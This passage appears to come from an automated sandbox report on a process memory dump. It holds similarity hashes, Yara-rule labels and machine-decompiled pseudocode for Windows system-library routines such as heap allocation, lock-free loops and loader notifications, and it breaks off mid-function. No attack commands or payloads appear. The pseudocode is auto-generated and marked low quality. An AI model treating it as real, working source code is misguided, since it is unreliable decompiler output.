0x0571bcee
0x0571bcf2
0x0571bd00
0x0571bd04
0x00000000
0x0571bc96
0x0571bcab
0x0571bcaf
0x0571bd2c
0x0571bd2c
0x0571bd09
0x00000000
0x0571bd09
0x0571bcb1
0x0571bcb5
0x0571bcbb
0x00000000
0x00000000
0x00000000
0x0571bcbb

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8dfbf36a6540f8f2e5d95eb445221c4dafe3cb0d698c031d2511f17c399dd1
Instruction ID: 72717c5ed03041381c244a745fe3a2d8ce587688dcb3a765a00ffe5c96d20c69
Opcode Fuzzy Hash: 2b8dfbf36a6540f8f2e5d95eb445221c4dafe3cb0d698c031d2511f17c399dd1
Instruction Fuzzy Hash: 99312232A116269BCB01EF9CC4C1BA677B5FF18320F104078ED49EB201EB78D905EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 056E9100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E056E9100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x57bf6e8);
				E0573D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E057B88F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E0573D130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x57d86c0; // 0x52807b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x57d86b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E05702280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E057B88F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E0572AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x57db1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x57d84c0;
										if(_t69 >=  *0x57d84c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E057B9063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E056E922A(_t82);
							_t53 = E05707D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E057B8B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x57d86c0; // 0x52807b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x57d86b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x57d86bc;
										_t72 = 0x57d86b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E056E9240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x57d86c4;
									_t72 = 0x57d86c0;
									L18:
									E05719B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x056e9100
0x056e9100
0x056e9100
0x056e9100
0x056e9102
0x056e9107
0x056e910c
0x056e9110
0x056e9115
0x056e9136
0x056e9143
0x057437e4
0x057437e4
0x056e9149
0x056e914e
0x056e914e
0x056e9117
0x056e911d
0x00000000
0x00000000
0x056e911f
0x056e9125
0x00000000
0x056e9151
0x056e9158
0x056e915d
0x056e9161
0x056e9168
0x05743715
0x00000000
0x056e916e
0x056e916e
0x056e9175
0x056e9177
0x056e917e
0x056e917f
0x056e9182
0x056e9182
0x056e9187
0x056e9187
0x056e918a
0x056e918d
0x056e918f
0x056e9192
0x056e9195
0x056e9198
0x056e9198
0x056e9198
0x056e919a
0x00000000
0x00000000
0x0574371f
0x05743721
0x05743727
0x0574372f
0x05743733
0x05743735
0x05743738
0x0574373b
0x0574373d
0x05743740
0x00000000
0x00000000
0x05743746
0x05743749
0x00000000
0x00000000
0x0574374f
0x05743751
0x00000000
0x00000000
0x05743757
0x05743759
0x0574375c
0x0574375c
0x0574375e
0x0574375e
0x05743761
0x05743764
0x00000000
0x00000000
0x05743766
0x05743768
0x057437a3
0x057437a3
0x057437a5
0x057437a7
0x057437ad
0x057437b0
0x057437b2
0x057437bc
0x057437c2
0x057437c2
0x057437b2
0x056e9187
0x056e9187
0x056e918a
0x056e918d
0x056e918f
0x056e9192
0x056e9195
0x00000000
0x056e9195
0x00000000
0x056e9187
0x0574376a
0x0574376a
0x0574376c
0x0574376c
0x0574376f
0x05743775
0x00000000
0x00000000
0x05743777
0x05743779
0x00000000
0x00000000
0x05743782
0x05743787
0x05743789
0x05743790
0x05743790
0x0574378b
0x0574378b
0x0574378b
0x05743792
0x05743795
0x05743795
0x05743798
0x05743798
0x0574379b
0x0574379b
0x056e91a3
0x056e91a9
0x056e91b0
0x056e91b4
0x056e91b4
0x056e91bb
0x056e91c0
0x056e91c5
0x056e91c7
0x057437da
0x056e91cd
0x056e91cd
0x056e91cd
0x056e91d2
0x056e91d5
0x056e9239
0x056e9239
0x056e91d7
0x056e91db
0x056e91e1
0x056e91e7
0x056e91fd
0x056e9203
0x056e921e
0x056e9223
0x00000000
0x056e9223
0x056e9205
0x056e9208
0x056e920c
0x056e9214
0x056e9214
0x056e91e9
0x056e91e9
0x056e91ee
0x056e91f3
0x056e91f3
0x056e91f3
0x056e91e7
0x00000000
0x056e91db
0x056e9187
0x056e9168

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 916a532d9863e8c25bdb18bcaf5b7da06b688e81f04d7ddc77e43da715e4efe8
Instruction ID: c561704647aeac85a94463079d519336820a7d724263a4449e5b6d3796bc2200
Opcode Fuzzy Hash: 916a532d9863e8c25bdb18bcaf5b7da06b688e81f04d7ddc77e43da715e4efe8
Instruction Fuzzy Hash: 6A31CB71A07284DFDB21DF68C88CBEDBBB2BF48364F288149C40567341C371A980DB62

Uniqueness

Uniqueness Score: -1.00%

Function 05711DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E05711DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E0570F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L05704620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E0570F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x05711dc2
0x05711dc5
0x05711dc7
0x05711dcc
0x05711dce
0x05711dd6
0x05711ddf
0x05711de0
0x05711de1
0x05711de5
0x05711de8
0x05711def
0x05711df0
0x05711df6
0x05711df7
0x05711dfe
0x05711e1a
0x00000000
0x00000000
0x05711e0b
0x05711e12
0x05711e12
0x05711e00
0x05711e00
0x05711e05
0x05711e1e
0x05711e23
0x0575570f
0x05755713
0x00000000
0x00000000
0x05755719
0x05755719
0x05711e2c
0x05711e2d
0x05711e2e
0x05711e2f
0x05711e31
0x05711e32
0x05711e35
0x05711e3d
0x05755723
0x0575573d
0x0575573d
0x00000000
0x05755723
0x05711e49
0x05711e4e
0x05711e4e
0x05711e09
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 188e9260dd415edc2a191f643f03eb4cf0e684b11bc78fd6ab3dc7625b1b0179
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: C2219C72700118EFC721CF99CC84EAABBBAFF85691F514055EA019B250D630AE01EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 05700050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E05700050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x57dd360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E05719ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E0572B640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E057B8A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E05719702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x57db1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x05700055
0x0570005d
0x05700062
0x0570006c
0x0570006f
0x05700074
0x0570007a
0x0570007a
0x05700080
0x05700080
0x05700087
0x0570008d
0x0570008f
0x05700093
0x05700095
0x0570009b
0x057000f8
0x057000fb
0x057000fc
0x057000ff
0x05700108
0x05700108
0x057000a2
0x057000a6
0x057000b3
0x057000bc
0x057000c5
0x057000ca
0x0574c01e
0x00000000
0x00000000
0x0574c02d
0x057000d5
0x057000d9
0x0574c03d
0x0574c046
0x0574c046
0x057000df
0x057000e2
0x057000ea
0x057000ef
0x057000f2
0x057000f6
0x05700111
0x05700117
0x05700117
0x00000000
0x057000f6
0x057000d0
0x057000d0
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c96d04d46b5df8893bde97b608539ac83667752b8cdcf7c43c23f91f0dfaf10
Instruction ID: 70e3bdad7c9896f9ca00edd84fa7df41cf5b77566acd28a5ddc72386e9b29f5e
Opcode Fuzzy Hash: 0c96d04d46b5df8893bde97b608539ac83667752b8cdcf7c43c23f91f0dfaf10
Instruction Fuzzy Hash: 49318F31211B04CFD721CF28C848BA7B7E6FF89724F14856DE59A87A90EB75AC01DB50

Uniqueness

Uniqueness Score: -1.00%

Function 05766C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E05766C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E05707D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x57d7b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L05704620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E0572F3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E05707D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E05729AE0();
						_t23 = L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x05766c0a
0x05766c0f
0x05766c10
0x05766c13
0x05766c15
0x05766c19
0x05766c1c
0x05766c21
0x05766c28
0x05766c3a
0x05766c2a
0x05766c33
0x05766c33
0x05766c3f
0x05766c48
0x05766c4d
0x05766c60
0x05766c65
0x05766c69
0x05766c73
0x05766c79
0x05766c7f
0x05766c86
0x05766c90
0x05766c94
0x05766ca6
0x05766cb2
0x05766cbd
0x05766cbd
0x05766cc3
0x05766cc7
0x05766ccb
0x05766cd0
0x05766cd1
0x05766ce2
0x05766ce2
0x05766c69
0x05766ced

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67140f24fb3580ab5e55371cc1b9041c4ef2ea700d5214f21cba5457e2478da
Instruction ID: bdc2c5bf2015319e523342ccf77fec60721fc7e6fa7590f8a0cb7ca1fdfcad02
Opcode Fuzzy Hash: f67140f24fb3580ab5e55371cc1b9041c4ef2ea700d5214f21cba5457e2478da
Instruction Fuzzy Hash: 93219A71A00A54AFC715DB68D888F2AB7F8FF48740F040069F905D7791D634ED10EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 057290AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E057290AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E0573D4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E0571E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L05704620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E0572F3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E0571A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x057290af
0x057290b8
0x057290bb
0x057290bf
0x057290c2
0x057290c2
0x057290c8
0x057290cb
0x057290cd
0x057614d7
0x057614eb
0x057614eb
0x00000000
0x057614eb
0x057614db
0x057614e6
0x00000000
0x057614f2
0x057614e8
0x00000000
0x057614e8
0x057290d8
0x057290da
0x057290dd
0x057290e5
0x00000000
0x05729139
0x057290fa
0x057290fe
0x05729142
0x00000000
0x05729142
0x05729104
0x05729107
0x0572910b
0x05729110
0x05729118
0x05729147
0x05729148
0x0572914f
0x05729150
0x05729151
0x05729152
0x05729156
0x0572915d
0x05729160
0x05729168
0x0572916c
0x057291bc
0x057291be
0x00000000
0x057291be
0x0572916e
0x05729173
0x05729176
0x00000000
0x00000000
0x0572917c
0x05729180
0x057291b5
0x00000000
0x057291b5
0x05729182
0x05729185
0x05729189
0x00000000
0x00000000
0x0572918e
0x05729190
0x05729198
0x00000000
0x00000000
0x057291a0
0x00000000
0x057291ad
0x057291ad
0x057291b0
0x057291b1
0x00000000
0x05729185
0x0572911a
0x0572911c
0x0572911f
0x05729125
0x05729127
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: d339bf56e1152e23524aea2b7a29cf766b441df62f2fecfab4867de1380cb6c8
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: E2216271A00315EFDB21DF5AC948EAAFBF9EF44750F18886AEA45A7250D330ED40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 05713B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E05713B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x57d84c4; // 0x0
				_v12 = 1;
				_v8 =  *0x57d84c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x57d84c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E0572AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E0572FA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x57d84c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x57d84c4; // 0x0
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x05713b89
0x05713b96
0x05713ba1
0x05713bab
0x05713bb5
0x05713bb9
0x05756298
0x05713bbf
0x05713bc2
0x05713bc3
0x05713bc9
0x05713bca
0x05713bcc
0x05713bcd
0x05713bd4
0x05713bd6
0x05713bdb
0x05713bea
0x05713bf7
0x05713bfb
0x05713bff
0x05713c09
0x05713c0a
0x05713c0b
0x05713c0f
0x05713c14
0x05713c18
0x05713c18
0x05713bfb
0x05713c1b
0x05713c30
0x05713c30
0x05713c3d

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9310b7d673c898efb653e6d1292ad3858635bc133544586c7d81bbf0d43af6b
Instruction ID: 74d5da35025d82e43c129b1f79b00d39fa2bc3966793b1d4ec9eadff85eac26f
Opcode Fuzzy Hash: d9310b7d673c898efb653e6d1292ad3858635bc133544586c7d81bbf0d43af6b
Instruction Fuzzy Hash: 3D21CF72A00108EFCB00DF58CD86F6ABBBDFB40718F250068E908AB251D771ED01EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05766CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E05766CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E05707D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E05707D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x56c5c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E0571F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E0571F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E05767016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L05702400( &_v52);
								}
								_t21 = L05702400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x05766cfb
0x05766d00
0x05766d02
0x05766d06
0x05766d0a
0x05766d0e
0x05766d19
0x05766d2b
0x05766d1b
0x05766d24
0x05766d24
0x05766d33
0x05766d39
0x05766d46
0x05766d4f
0x05766d61
0x05766d51
0x05766d5a
0x05766d5a
0x05766d69
0x05766d6b
0x05766d6d
0x05766d6f
0x05766d6f
0x05766d74
0x05766d79
0x05766d7a
0x05766d7f
0x05766d82
0x05766d88
0x05766d89
0x05766d90
0x05766d94
0x05766da7
0x05766db1
0x05766db1
0x05766dbb
0x05766dbb
0x05766d90
0x05766d69
0x05766d46
0x05766dc6

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ffd6dc230798bea7f5204e874f470fbe9c56bf658260403b4b4bea04906f09e
Instruction ID: abf33003edc1107be549d793a731d4520ed3546ea955730710f7c27006e9c458
Opcode Fuzzy Hash: 1ffd6dc230798bea7f5204e874f470fbe9c56bf658260403b4b4bea04906f09e
Instruction Fuzzy Hash: 4F21F2726046649BCB11DF29C948B6BB7ECFF81780F440456FD41D7291E734D909D6E2

Uniqueness

Uniqueness Score: -1.00%

Function 057B070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E057B070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E057B07DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
